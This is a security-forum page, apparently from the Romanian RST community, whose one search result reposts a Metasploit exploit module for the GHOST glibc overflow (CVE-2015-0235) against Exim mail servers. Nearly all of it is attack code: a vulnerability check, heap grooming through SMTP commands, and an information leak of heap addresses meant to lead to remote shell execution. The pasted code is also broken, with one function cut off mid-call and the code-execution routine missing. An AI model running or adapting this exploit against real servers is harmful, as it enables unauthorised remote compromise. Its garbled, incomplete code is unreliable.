Jump to content

Search the Community

Showing results for tags 'leaked_addr'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges (CTF)
    • Bug Bounty
    • Programare
    • Securitate web
    • Reverse engineering & exploit development
    • Mobile security
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Website URL


Yahoo


Jabber


Skype


Location


Interests


Biography


Location


Interests


Occupation

Found 1 result

  1. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow', 'Description' => %q( This module remotely exploits CVE-2015-0235 (a.k.a. GHOST, a heap-based buffer overflow in the GNU C Library's gethostbyname functions) on x86 and x86_64 GNU/Linux systems that run the Exim mail server. Technical information about the exploitation can be found in the original GHOST advisory, and in the source code of this module. ------------------------------------------------------------------------ SERVER-SIDE REQUIREMENTS (Exim) ------------------------------------------------------------------------ The remote system must use a vulnerable version of the GNU C Library: the first exploitable version is glibc-2.6, the last exploitable version is glibc-2.17; older versions might be exploitable too, but this module depends on the newer versions' fd_nextsize (a member of the malloc_chunk structure) to remotely obtain the address of Exim's smtp_cmd_buffer in the heap. ------------------------------------------------------------------------ The remote system must run the Exim mail server: the first exploitable version is exim-4.77; older versions might be exploitable too, but this module depends on the newer versions' 16-KB smtp_cmd_buffer to reliably set up the heap as described in the GHOST advisory. ------------------------------------------------------------------------ The remote Exim mail server must be configured to perform extra security checks against its SMTP clients: either the helo_try_verify_hosts or the helo_verify_hosts option must be enabled; the "verify = helo" ACL might be exploitable too, but is unpredictable and therefore not supported by this module. ------------------------------------------------------------------------ CLIENT-SIDE REQUIREMENTS (Metasploit) ------------------------------------------------------------------------ This module's "exploit" method requires the SENDER_HOST_ADDRESS option to be set to the IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim); additionally, this IPv4 address must have both forward and reverse DNS entries that match each other (Forward-Confirmed reverse DNS). ------------------------------------------------------------------------ The remote Exim server might be exploitable even if the Metasploit client has no FCrDNS, but this module depends on Exim's sender_host_name variable to be set in order to reliably control the state of the remote heap. ------------------------------------------------------------------------ TROUBLESHOOTING ------------------------------------------------------------------------ "bad SENDER_HOST_ADDRESS (nil)" failure: the SENDER_HOST_ADDRESS option was not specified. ------------------------------------------------------------------------ "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)" failure: the SENDER_HOST_ADDRESS option was specified, but not in IPv4 dotted-decimal notation. ------------------------------------------------------------------------ "bad SENDER_HOST_ADDRESS (helo_verify_hosts)" or "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)" failure: the SENDER_HOST_ADDRESS option does not match the IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim). ------------------------------------------------------------------------ "bad SENDER_HOST_ADDRESS (no FCrDNS)" failure: the IPv4 address of the SMTP client (Metasploit) has no Forward-Confirmed reverse DNS. ------------------------------------------------------------------------ "not vuln? old glibc? (no leaked_arch)" failure: the remote Exim server is either not vulnerable, or not exploitable (glibc versions older than glibc-2.6 have no fd_nextsize member in their malloc_chunk structure). ------------------------------------------------------------------------ "NUL, CR, LF in addr? (no leaked_addr)" failure: Exim's heap address contains bad characters (NUL, CR, LF) and was therefore mangled during the information leak; this exploit is able to reconstruct most of these addresses, but not all (worst-case probability is ~1/85, but could be further improved). ------------------------------------------------------------------------ "Brute-force SUCCESS" followed by a nil reply, but no shell: the remote Unix command was executed, but spawned a bind-shell or a reverse-shell that failed to connect (maybe because of a firewall, or a NAT, etc). ------------------------------------------------------------------------ "Brute-force SUCCESS" followed by a non-nil reply, and no shell: the remote Unix command was executed, but failed to spawn the shell (maybe because the setsid command doesn't exist, or awk isn't gawk, or netcat doesn't support the -6 or -e option, or telnet doesn't support the -z option, etc). ------------------------------------------------------------------------ Comments and questions are welcome! ), 'Author' => ['Qualys, Inc. <qsa[at]qualys.com>'], 'License' => BSD_LICENSE, 'References' => [ ['CVE', '2015-0235'], ['US-CERT-VU', '967332'], ['OSVDB', '117579'], ['BID', '72325'], ['URL', 'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt'] ], 'DisclosureDate' => 'Jan 27 2015', 'Privileged' => false, # uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim) 'Platform' => 'unix', # actually 'linux', but we execute a unix-command payload 'Arch' => ARCH_CMD, # actually [ARCH_X86, ARCH_X86_64], but ^ 'Payload' => { 'Space' => 255, # the shorter the payload, the higher the probability of code execution 'BadChars' => "", # we encode the payload ourselves, because ^ 'DisableNops' => true, 'ActiveTimeout' => 24*60*60 # we may need more than 150 s to execute our bind-shell }, 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0 )) register_options([ Opt::RPORT(25), OptAddress.new('SENDER_HOST_ADDRESS', [false, 'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)', nil]) ], self.class) register_advanced_options([ OptBool.new('I_KNOW_WHAT_I_AM_DOING', [false, 'Please read the source code for details', nil]) ], self.class) end def check # for now, no information about the vulnerable state of the target check_code = Exploit::CheckCode::Unknown begin # not exploiting, just checking smtp_connect(false) # malloc()ate gethostbyname's buffer, and # make sure its next_chunk isn't the top chunk 9.times do smtp_send("HELO ", "", "0", "", "", 1024+16-1+0) smtp_recv(HELO_CODES) end # overflow (4 bytes) gethostbyname's buffer, and # overwrite its next_chunk's size field with 0x00303030 smtp_send("HELO ", "", "0", "", "", 1024+16-1+4) # from now on, an exception means vulnerable check_code = Exploit::CheckCode::Vulnerable # raise an exception if no valid SMTP reply reply = smtp_recv(ANY_CODE) # can't determine vulnerable state if smtp_verify_helo() isn't called return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/ # realloc()ate gethostbyname's buffer, and # crash (old glibc) or abort (new glibc) # on the overwritten size field smtp_send("HELO ", "", "0", "", "", 2048-16-1+4) # raise an exception if no valid SMTP reply reply = smtp_recv(ANY_CODE) # can't determine vulnerable state if smtp_verify_helo() isn't called return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/ # a vulnerable target should've crashed by now check_code = Exploit::CheckCode::Safe rescue peer = "#{rhost}:#{rport}" vprint_debug("#{peer} - Caught #{$!.class}: #{$!.message}") ensure smtp_disconnect end return check_code end def exploit unless datastore['I_KNOW_WHAT_I_AM_DOING'] print_status("Checking if target is vulnerable...") fail_with("exploit", "Vulnerability check failed.") if check != Exploit::CheckCode::Vulnerable print_good("Target is vulnerable.") end information_leak code_execution end private HELO_CODES = '250|451|550' ANY_CODE = '[0-9]{3}' MIN_HEAP_SHIFT = 80 MIN_HEAP_SIZE = 128 * 1024 MAX_HEAP_SIZE = 1024 * 1024 # Exim ALIGNMENT = 8 STORE_BLOCK_SIZE = 8192 STOREPOOL_MIN_SIZE = 256 LOG_BUFFER_SIZE = 8192 BIG_BUFFER_SIZE = 16384 SMTP_CMD_BUFFER_SIZE = 16384 IN_BUFFER_SIZE = 8192 # GNU C Library PREV_INUSE = 0x1 NS_MAXDNAME = 1025 # Linux MMAP_MIN_ADDR = 65536 def information_leak print_status("Trying information leak...") leaked_arch = nil leaked_addr = [] # try different heap_shift values, in case Exim's heap address contains # bad chars (NUL, CR, LF) and was mangled during the information leak; # we'll keep the longest one (the least likely to have been truncated) 16.times do done = catch(:another_heap_shift) do heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15) print_debug("#{{ heap_shift: heap_shift }}") # write the malloc_chunk header at increasing offsets (8-byte step), # until we overwrite the "503 sender not yet given" error message 128.step(256, 8) do |write_offset| error = try_information_leak(heap_shift, write_offset) print_debug("#{{ write_offset: write_offset, error: error }}") throw(:another_heap_shift) if not error next if error == "503 sender not yet given" # try a few more offsets (allows us to double-check things, # and distinguish between 32-bit and 64-bit machines) error = [error] 1.upto(5) do |i| error[i] = try_information_leak(heap_shift, write_offset + i*8) throw(:another_heap_shift) if not error[i] end print_debug("#{{ error: error }}") _leaked_arch = leaked_arch if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize (error[2] == error[3]) and (error[2].empty? or (error[2].unpack('C')[0] & 7) == 0) and # fd (error[4] =~ /\A503 send[^e].?\z/mn) and ((error[4].unpack('C*')[8] & 15) == PREV_INUSE) and # size (error[5] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing() leaked_arch = ARCH_X86_64 elsif (error[0].empty? or (error[0].unpack('C')[0] & 3) == 0) and # fd_nextsize (error[1].empty? or (error[1].unpack('C')[0] & 3) == 0) and # fd (error[2] =~ /\A503 [^s].?\z/mn) and ((error[2].unpack('C*')[4] & 7) == PREV_INUSE) and # size (error[3] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing() leaked_arch = ARCH_X86 else throw(:another_heap_shift) end print_debug("#{{ leaked_arch: leaked_arch }}") fail_with("infoleak", "arch changed") if _leaked_arch and _leaked_arch != leaked_arch # try different large-bins: most of them should be empty, # so keep the most frequent fd_nextsize address # (a pointer to the malloc_chunk itself) count = Hash.new(0) 0.upto(9) do |last_digit| error = try_information_leak(heap_shift, write_offset, last_digit) next if not error or error.length < 2 # heap_shift can fix the 2 least significant NUL bytes next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK count[error] += 1 end print_debug("#{{ count: count }}") throw(:another_heap_shift) if count.empty? # convert count to a nested array of [key, value] arrays and sort it error_count = count.sort { |a, b| b[1] <=> a[1] } error_count = error_count.first # most frequent error = error_count[0] count = error_count[1] throw(:another_heap_shift) unless count >= 6 # majority leaked_addr.push({ error: error, shift: heap_shift }) # common-case shortcut if (leaked_arch == ARCH_X86 and error[0,4] == error[4,4] and error[8..-1] == "er not yet given") or (leaked_arch == ARCH_X86_64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?) leaked_addr = [leaked_addr.last] # use this one, and not another throw(:another_heap_shift, true) # done end throw(:another_heap_shift) end throw(:another_heap_shift) end break if done end fail_with("infoleak", "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil? fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty? leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length } leaked_addr = leaked_addr.first # longest error = leaked_addr[:error] shift = leaked_addr[:shift] leaked_addr = 0 (leaked_arch == ARCH_X86 ? 4 : 8).times do |i| break if i >= error.length leaked_addr += error.unpack('C*')[i] * (2**(i*8)) end # leaked_addr should point to the beginning of Exim's smtp_cmd_buffer: leaked_addr -= 2*SMTP_CMD_BUFFER_SIZE + IN_BUFFER_SIZE + 4*(11*1024+shift) + 3*1024 + STORE_BLOCK_SIZE fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr <= MMAP_MIN_ADDR print_good("Successfully leaked_arch: #{leaked_arch}") print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}") @leaked = { arch: leaked_arch, addr: leaked_addr } end def try_information_leak(heap_shift, write_offset, last_digit = 9) fail_with("infoleak", "heap_shift") if (heap_shift < MIN_HEAP_SHIFT) fail_with("infoleak", "heap_shift") if (heap_shift & 15) != 0 fail_with("infoleak", "write_offset") if (write_offset & 7) != 0 fail_with("infoleak", "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/ smtp_connect # bulletproof Heap Feng Shui; the hard part is avoiding: # "Too many syntax or protocol errors" (3) # "Too many unrecognized commands" (3) # "Too many nonmail commands" (10) smtp_send("HELO ", "", "0", @sender # avoid a future pathological case by forcing it now: # "Do NOT free the first successor, if our current block has less than 256 bytes left." smtp_send("MAIL FROM:", "<", method(:rand_text_alpha), ">", "", STOREPOOL_MIN_SIZE + 16) smtp_recv(501, 'sender address must contain a domain') smtp_send("RSET") smtp_recv(250, 'Reset OK') end def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil) fail_with("smtp_send", "state is #{@smtp_state}") if @smtp_state != :send @smtp_state = :sending if not arg_pattern fail_with("smtp_send", "prefix is nil") if not prefix fail_with("smtp_send", "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length command = prefix else fail_with("smtp_send", "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length length = arg_length - arg_prefix.length - arg_suffix.length fail_with("smtp_send", "len is #{length}") if length <= 0 argument = arg_prefix case arg_pattern when String argument += arg_pattern * (length / arg_pattern.length) argument += arg_pattern[0, length % arg_pattern.length] when Method argument += arg_pattern.call(length) end argument += arg_suffix fail_with("smtp_send", "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length command = prefix + argument + suffix end fail_with("smtp_send", "invalid char in cmd") if command.count("^\x20-\x7F") > 0 fail_with("smtp_send", "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer # the following loop works around a bug in the put() method: # "while (send_idx < send_len)" should be "while (send_idx < buf.length)" # (or send_idx and/or send_len could be removed altogether, like here) while command and not command.empty? num_sent = sock.put(command) fail_with("smtp_send", "sent is #{num_sent}") if num_sent <= 0 fail_with("smtp_send", "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length command = command[num_sent..-1] end @smtp_state = :recv end def smtp_recv(expected_code = nil, expected_data = nil) fail_with("smtp_recv", "state is #{@smtp_state}") if @smtp_state != :recv @smtp_state = :recving failure = catch(:failure) do # parse SMTP replies very carefully (the information # leak injects arbitrary data into multiline replies) data = "" while data !~ /(\A|\r\n)[0-9]{3}[ ].*\r\n\z/mn begin more_data = sock.get_once rescue throw(:failure, "Caught #{$!.class}: #{$!.message}") end throw(:failure, "no more data") if more_data.nil? throw(:failure, "no more data") if more_data.empty? data += more_data end throw(:failure, "malformed reply (count)") if data.count("\0") > 0 lines = data.scan(/(?:\A|\r\n)[0-9]{3}[ -].*?(?=\r\n(?=[0-9]{3}[ -]|\z))/mn) throw(:failure, "malformed reply (empty)") if lines.empty? code = nil lines.size.times do |i| lines[i].sub!(/\A\r\n/mn, "") lines[i] += "\r\n" if i == 0 code = lines[i][0,3] throw(:failure, "bad code") if code !~ /\A[0-9]{3}\z/mn if expected_code and code !~ /\A(#{expected_code})\z/mn throw(:failure, "unexpected #{code}, expected #{expected_code}") end end line_begins_with = lines[i][0,4] line_should_begin_with = code + (i == lines.size-1 ? " " : "-") if line_begins_with != line_should_begin_with throw(:failure, "line begins with #{line_begins_with}, " \ "should begin with #{line_should_begin_with}") end end throw(:failure, "malformed reply (join)") if lines.join("") != data if expected_data and data !~ /#{expected_data}/mn throw(:failure, "unexpected data") end reply = { code: code, lines: lines } @smtp_state = :send return reply end fail_with("smtp_recv", "#{failure}") if expected_code return nil end def smtp_disconnect disconnect if sock fail_with("smtp_disconnect", "sock isn't nil") if sock @smtp_state = :disconnected end end Source
×
×
  • Create New...